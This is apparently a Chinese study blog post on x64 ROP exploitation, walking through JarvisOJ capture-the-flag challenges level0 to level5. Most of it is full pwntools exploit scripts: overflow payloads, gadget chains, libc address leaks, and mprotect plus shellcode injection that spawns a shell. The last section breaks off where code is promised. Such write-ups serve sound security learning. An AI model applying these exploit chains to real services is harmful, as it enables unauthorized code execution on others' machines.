pwn入门笔记2

ROP(x64)

(学习记录)跟着蒸米学ROP

  • JarvisOJ-Pwn-level0
  • JarvisOJ-Pwn-level2_x64
  • JarvisOJ-Pwn-level3_x64
  • JarvisOJ-Pwn-level5

原理

待施工

题目

JarvisOJ level0

发现callsystem函数,函数地址为0x400596,对应的小端序为:\x96\x05\x40\x00;于是可以构造payload=0x88*‘a’ + “\x96\x05\x40\x00”,于是用pwntools编写攻击代码

1
2
3
4
5
6
7
8
from pwn import *
r = remote('pwn2.jarvisoj.com','9881')
payload = 0x88*'a' + "\x96\x05\x40\x00"
#addr = p64(0x400596)
#payload = 0x88*'a'
#payload = payload+addr
r.send(payload)
r.interactive()

JarvisOJ level2_x64

由于x64并不直接由栈传参,而是通过寄存器,所以这道题目和x86最大的不同在于要找到pop rdi; ret这个gadget,首先通过ROPgadget查找pop rdi; ret。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nick@nick-machine:~/wyx/JarvisOJ-pwn-level2_x64$ ROPgadget --binary level2_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400560 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004a1 : ret

Unique gadgets found: 11

可以看到pop rdi; ret的地址为0x00000000004006b3,所以编写exp.py函数如下

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = remote('pwn2.jarvisoj.com',9882)
level2 = ELF('level2_x64')
system_addr = level2.plt['system']
pr_addr = 0x4006b3
binsh_addr = 0x600A90
payload = 'a'*0x88 + p64(pr_addr) + p64(binsh_addr) + p64(system_addr)
p.recvuntil("Input:\n")
p.send(payload)
p.interactive()

JarvisOJ level3_x64

没有找到pop rsi; pop rdi; pop rdx; ret的gadgets,就用一个pop rsi; ret和一个pop rdi; pop r15; ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
p = remote('pwn2.jarvisoj.com',9883)
level3 = ELF('level3_x64')
libc = ELF('libc-2.19.so')
vulfun_addr = 0x4005E6
plt_write = level3.plt['write']
got_write = level3.got['write']
pdr_addr = 0x4006b3
psr_addr = 0x4006b1
payload1 = 'a'*0x88 + p64(pdr_addr) + p64(1) + p64(psr_addr) + p64(got_write) + p64(0) + p64(plt_write) + p64(vulfun_addr)
p.recvuntil("Input:\n")
p.send(payload1)
write_addr = u64(p.recv(8))

libc_system = libc.symbols['system']
libc_write = libc.symbols['write']
libc_sh = libc.search('/bin/sh').next()
system_addr = write_addr - libc_write + libc_system
sh_addr = write_addr - libc_write + libc_sh
payload2 = 'a'*0x88 +p64(pdr_addr) + p64(sh_addr) + p64(system_addr)
p.send(payload2)
p.interactive()

JarvisOJ level5

由于mmap需要的参数过多,很难找到符合条件的gadgets。参考其他大佬的做法是,先将shellcode写到.bss段,然后用函数mprotect修改.bss段的权限,使其可执行。由此,基本思路是,首先泄露内存地址,然后调用read(0,bss_addr,0x100)将shellcode写入.bss段,然后调用mprotect(0x600000,0x1000,7)修改.bss段的权限,最后执行shellcode即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('pwn2.jarvisoj.com',9884)
#p = process('./level3_x64')
level5 = ELF('level3_x64')
libc = ELF('libc-2.19.so')
vulfun_addr = 0x4005E6
plt_write = level5.plt['write']
plt_read = level5.plt['read']
got_write = level5.got['write']
pdr_addr = 0x4006b3
psr_addr = 0x4006b1
payload1 = 'a'*0x88 + p64(pdr_addr) + p64(1) + p64(psr_addr) + p64(got_write) + p64(0) + p64(plt_write) + p64(vulfun_addr)
p.recvuntil("Input:\n")
p.send(payload1)

pause()
write_addr = u64(p.recv(8))
libc_mprotect = libc.symbols['mprotect']
libc_write = libc.symbols['write']
mprotect_addr = write_addr - libc_write + libc_mprotect
pxr_addr = write_addr -libc_write + 0x1b8e
bss_addr = level5.bss()
payload2 = 'a'*0x88 + p64(pdr_addr) + p64(0) + p64(psr_addr) +p64(bss_addr) + p64(0) + p64(plt_read) + p64(vulfun_addr)
p.recvuntil("Input:\n")
p.send(payload2)
shellcode = asm(shellcraft.sh())
p.send(shellcode)

pause()
payload3 = 'a'*0x88 + p64(pdr_addr) + p64(0x600000) + p64(psr_addr) + p64(0x1000) + p64(0) + p64(pxr_addr) + p64(7) + p64(mprotect_addr) + p64(bss_addr)
p.recvuntil("Input:\n")
p.send(payload3)
p.interactive()

在上述实现代码中,构造gadget的时候,首先通过pop rdi,ret和pop rsi,pop r15,ret泄露地址,然后得到libc的基质,然后通过libc中的pop rdx,ret传递第三个参数,执行mprotect()。除此之外,还可以通过__libc_csu_init中的代码构造gadget,可利用的代码部分如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x0000000000400690 <+64>:	mov    rdx,r13
0x0000000000400693 <+67>: mov rsi,r14
0x0000000000400696 <+70>: mov edi,r15d
0x0000000000400699 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040069d <+77>: add rbx,0x1
0x00000000004006a1 <+81>: cmp rbx,rbp
0x00000000004006a4 <+84>: jne 0x400690 <__libc_csu_init+64>
0x00000000004006a6 <+86>: add rsp,0x8
0x00000000004006aa <+90>: pop rbx
0x00000000004006ab <+91>: pop rbp
0x00000000004006ac <+92>: pop r12
0x00000000004006ae <+94>: pop r13
0x00000000004006b0 <+96>: pop r14
0x00000000004006b2 <+98>: pop r15
0x00000000004006b4 <+100>: ret

首先调用0x00000000004006aa处的gadget,再调用0x0000000000400690处的gadget。由此可以实现对rdi、rsi、rdx三个寄存器赋值,并且跳转到r12+rbx*8处执行。实现代码如下

0%